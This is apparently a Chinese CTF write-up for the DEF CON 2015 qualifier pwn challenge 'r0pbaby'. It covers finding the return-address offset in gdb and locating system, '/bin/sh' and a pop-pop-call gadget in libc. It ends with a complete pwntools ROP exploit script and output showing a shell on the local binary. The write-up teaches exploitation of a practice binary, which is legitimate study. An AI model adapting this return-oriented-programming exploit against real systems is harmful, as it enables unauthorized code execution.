资源

r0pbaby 程序

目的

getshell

思路

查看文件类型

$ file r0pbaby
r0pbaby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, stripped

这是一个64位的可执行文件

查看文件安全策略

$ checksec r0pbaby
[*] '/home/jc/Documents/pwn/r0pbaby'Arch:     amd64-64-littleRELRO:    No RELROStack:    No canary foundNX:       NX enabledPIE:      PIE enabledFORTIFY:  Enabled

开启了NX,需要进行ROP

添加执行权限,运行玩一玩

$ chmod u+x r0pbaby
$ ./r0pbaby
Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FB66BC239B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FB66B476390
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 4
ABCD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

从这里我们可以知道,应该可以利用3),控制rip。因为这是一个64位的ELF,参数/bin/sh存储在rdi中,而不是栈中。所以,想要执行system(‘/bin/sh’),我们需要在call system前,将/bin/sh放在栈顶并执行一次pop rdi。

我们尝试让程序崩溃看看,操起gdb

$ gdb -q r0pbaby
Reading symbols from r0pbaby...(no debugging symbols found)...done.

创建长度为50的字符串

gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'

运行

gdb-peda$ r
Starting program: /home/jc/Documents/pwn/r0pbaby 

输入刚才生成的长度为50的字符串

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 50
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.Program received signal SIGSEGV, Segmentation fault.

Segmentation fault 崩溃了!

根据提示

[-------------------------------------code-------------------------------------]0x555555554eae:  pop    r140x555555554eb0:  pop    r150x555555554eb2:  pop    rbp
=> 0x555555554eb3:  ret    0x555555554eb4:  nop    WORD PTR cs:[rax+rax*1+0x0]0x555555554ebe:  xchg   ax,ax0x555555554ec0:  push   r150x555555554ec2:  mov    r15d,edi

我们知道程序崩溃在了

=> 0x555555554eb3:  ret

此时ret的返回地址,此时rsp的指向为

gdb-peda$ x/x $rsp
0x7fffffffdc98: 0x6e41412441414241
gdb-peda$ x/s $rsp
0x7fffffffdc98: "ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA"

查看偏移量

gdb-peda$ pattern_offset ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA found at offset: 8

也就是说,程序会以我们输入的偏移量为8的位置去取ret的地址,this is so good!我们可以借此控制rip!此时的栈,是这样子的:

---------- 内存高地址
...
----------
(AADAA;A
----------
AACAA-AA
----------
ABAA$AAn   <- ret
----------
AAA%AAsA
----------
...
---------- 内存低地址

libc里通常有这样的一个gadget

pop rax
pop rdi
call rax

如果我们构造一个这样的栈空间

---------- 内存高地址
...
----------
/bin/sh的地址      pop rdi
----------
system()的地址     pop rax
----------
gadget ppc的地址   <- ret
----------
AAA%AAsA
----------
...
---------- 内存低地址

Great!对不对?
那么,接下来我们要做几件事:

  1. 获取libc中system的地址
  2. 获取libc中/bin/sh的地址
  3. 获取libc中ppc gadget的地址
  4. 获取运行时system的地址
  5. 构造payload并发送getshell

下面我们利用本地的libc文件做下测试,本地libc路径位于:/lib/x86_64-linux-gnu/libc-2.23.so

获取libc中system的地址

IDA shift + f12,ctrl + f,system

得到libc中system的地址为0x45390

获取libc中/bin/sh的地址

IDA shift + f12,ctrl + f,/bin/sh


得到libc中/bin/sh的地址为0x18cd17

获取libc中ppc gadget的地址

IDA alt + t,pop rdi,直到找到ppc为止

得到libc中ppc的地址为0x1073d9

获取运行时system的地址

运行程序的时候,输入2,再输入system,就出来了

构造payload并发送getshell

#!/usr/bin/pythonfrom pwn import *def get_addr_sys(sh):sh.sendline('2')sh.recv()sh.sendline('system')ret = sh.recvline().split(' ')[-1]sh.recv()ret = long(ret, 16)return retdef get_shell(sh, addr_sys, ppc_offset, bin_sh_offset):print('addr_sys: %x' % addr_sys)print('pop_pop_call_offset: %x' % ppc_offset)print('bin_sh_offset: %x' % bin_sh_offset)sh.sendline('3')sh.recv()sh.sendline('32')payload = 'A' * 8 + p64(addr_sys + ppc_offset) + p64(addr_sys) + p64(addr_sys + bin_sh_offset)print(len(payload))sh.sendline(payload)sh.recv()returndef main():sh = process('./r0pbaby')addr_sys = get_addr_sys(sh)libc_addr_pop_rdi = 0x1073d9libc_addr_bin_sh = 0x18cd17libc_addr_sys = 0x45390ppc_offset = libc_addr_pop_rdi - libc_addr_sysbin_sh_offset = libc_addr_bin_sh - libc_addr_sysget_shell(sh, addr_sys, ppc_offset, bin_sh_offset)sh.interactive()sh.close()if __name__ == '__main__':main()

本地测试结果

$ python r0pbaby_solver.py
[+] Starting local process './r0pbaby': pid 6061
addr_sys: 7fabe3959390
pop_pop_call_offset: c2049
bin_sh_offset: 147987
32
[*] Switching to interactive mode
$ whoami
jc
$  

Defcon - 2015 - 初赛 - r0pbaby writeup相关推荐

  1. [蓝桥杯2015初赛]垒骰子

    [蓝桥杯2015初赛]垒骰子 [蓝桥杯2015初赛]垒骰子 题目大意: 给你n个骰子,给你m组不能贴在一起的面,问你把这n个骰子垒成高度为n的柱体,一共有多少种方案? 题目分析: 首先,不能贴近的面是 ...

  2. 蓝桥杯2015初赛生命之树 DFS图解

    大家觉得写还可以,可以点赞.收藏.关注一下吧! 也可以到我的个人博客参观一下,估计近几年都会一直更新!和我做个朋友吧!https://motongxue.cn 文章目录 蓝桥杯2015初赛生命之树

  3. 蓝桥杯2015初赛-加法变乘法-枚举

    题目描述 我们都知道:1+2+3+ - + 49 = 1225 现在要求你把其中两个不相邻的加号变成乘号,使得结果为2015 比如: 1+2+3+-+1011+12+-+2728+29+-+49 = ...

  4. 蓝桥杯2015初赛-星系炸弹-日期计算

    题目描述 在X星系的广袤空间中漂浮着许多X星人造"炸弹",用来作为宇宙中的路标. 每个炸弹都可以设定多少天之后爆炸. 比如:阿尔法炸弹2015年1月1日放置,定时为15天,则它在2 ...

  5. 1251: [蓝桥杯2015初赛]星系炸弹

    时间限制: 1 Sec 内存限制: 256 MB 题目链接:http://oj.ecustacm.cn/problem.php?id=1251 题目描述 在X星系的广袤空间中漂浮着许多X星人造&quo ...

  6. 2021深育杯线上初赛官方WriteUp

    Web EasySQL 访问robots.txt,可得三个文件index.php.config.php.helpyou2findflag.php. fuzz黑名单,可发现select.单双引号.括号. ...

  7. 蓝桥杯2015初赛试题

    目录 方程整数解 [简单] 星系炸弹 [★] 奇妙的数字 [简单] 牌型种数 [★★]有意思 饮料换购 [简单] 奖券数目 [简单] 三羊献瑞 [★] 加法变乘法 [★]有点意思 移动距离 [★★]有 ...

  8. [蓝桥杯2015初赛]移动距离

    题目描述 X星球居民小区的楼房全是一样的,并且按矩阵样式排列. 其楼房的编号为1,2,3- 当排满一行时,从下一行相邻的楼往反方向排号. 比如:当小区排号宽度为6时,开始情形如下: 1 2 3 4 5 ...

  9. [蓝桥杯2015初赛]生命之树-求树的最大子树权值和

    题目描述 在X森林里,上帝创建了生命之树. 他给每棵树的每个节点(叶子也称为一个节点)上,都标了一个整数,代表这个点的和谐值. 上帝要在这棵树内选出一个非空节点集S,使得对于S中的任意两个点a,b,都 ...

最新文章

  1. 用英语说中国 IOS APP 上线
  2. 推荐些在线小制作小工具
  3. 计算机丢失cv210.dll,cv210.dll文件免费版
  4. 卸载vuecli3_卸载vue2.0并升级vue_cli3.0的实例讲解
  5. 如何使用Proxy模式及Java内建的动态代理机制
  6. 物理学家史蒂夫·霍金逝世,享年76岁(附图文回顾他的一生)
  7. linux 内核4.12,Linux Kernel 4.12 发布,最新的稳定版内核
  8. java分层model_SpringMVC体系分层模式原理图解
  9. Python基础学习(二)
  10. matlab trplot2,一知半解|MATLAB机器人建模与仿真控制(2)
  11. JQuery文件上传插件Uploadify
  12. 微信小微商户申请入驻接口PHP示例
  13. 内存卡格式化的原因有哪些 内存卡格式化怎么恢复
  14. Sci-Hub桌面版 告别网站被封的尴尬
  15. 社区垃圾分类AI盒子
  16. C语言学习(十)C语言中的小数
  17. kbhit linux windows通用,_kbhit() for Linux
  18. geom_segment 新技能get
  19. 手机出货量大跌34.9%,2019小米将何去何从
  20. form的onsubmit验证

热门文章

  1. 微软的苹果香味——专访微软MacBU组成员
  2. C语言核桃的数量问题
  3. android 添加意图,c# - Xamarin.Android:如何为每个通知添加唯一的意图 - 堆栈内存溢出...
  4. 105个软件测试工具大放送
  5. 男人怎么读 萨瓦迪卡!还是萨瓦迪卡不!
  6. Git代码管理流程(分支、fork、tag)
  7. 《网络工程师 考前冲刺100题》思维导图
  8. 转移APK从手机到PC和PC到手机
  9. 专为《巫师3》打造 次世代RedEngine 3引擎公布
  10. 华为交换机查看端口对应的oid索引值